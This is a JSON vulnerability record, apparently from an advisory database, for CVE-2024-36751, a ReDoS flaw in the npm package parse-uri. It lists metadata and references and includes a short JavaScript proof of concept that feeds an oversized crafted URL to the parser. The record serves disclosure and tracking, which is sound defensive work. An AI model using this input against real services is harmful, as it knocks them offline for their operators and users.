{"id":"CVE-2024-36751","aliases":[],"url":"https://o3.security/vulnerability/CVE-2024-36751","summary":"parse-uri Regular expression Denial of Service (ReDoS)","details":"An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.\n ## PoC\n```js\nasync function exploit() {\n    const parseuri = require(\"parse-uri\");\n    // This input is designed to cause excessive backtracking in the regex\n    const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';\n    const result = await parseuri(craftedInput);\n    }\nawait exploit();\n```","published":"2025-01-16T00:31:22Z","modified":"2025-09-03T12:56:48Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"parse-uri","fixedVersion":null},{"ecosystem":"npm","name":"parseuri","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-36751"},{"type":"WEB","url":"https://github.com/Kikobeats/parse-uri/issues/14"},{"type":"WEB","url":"https://gist.github.com/6en6ar/78168687da94e8aa2e0357f2456b0233"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2025-09-03T12:56:48Z"}}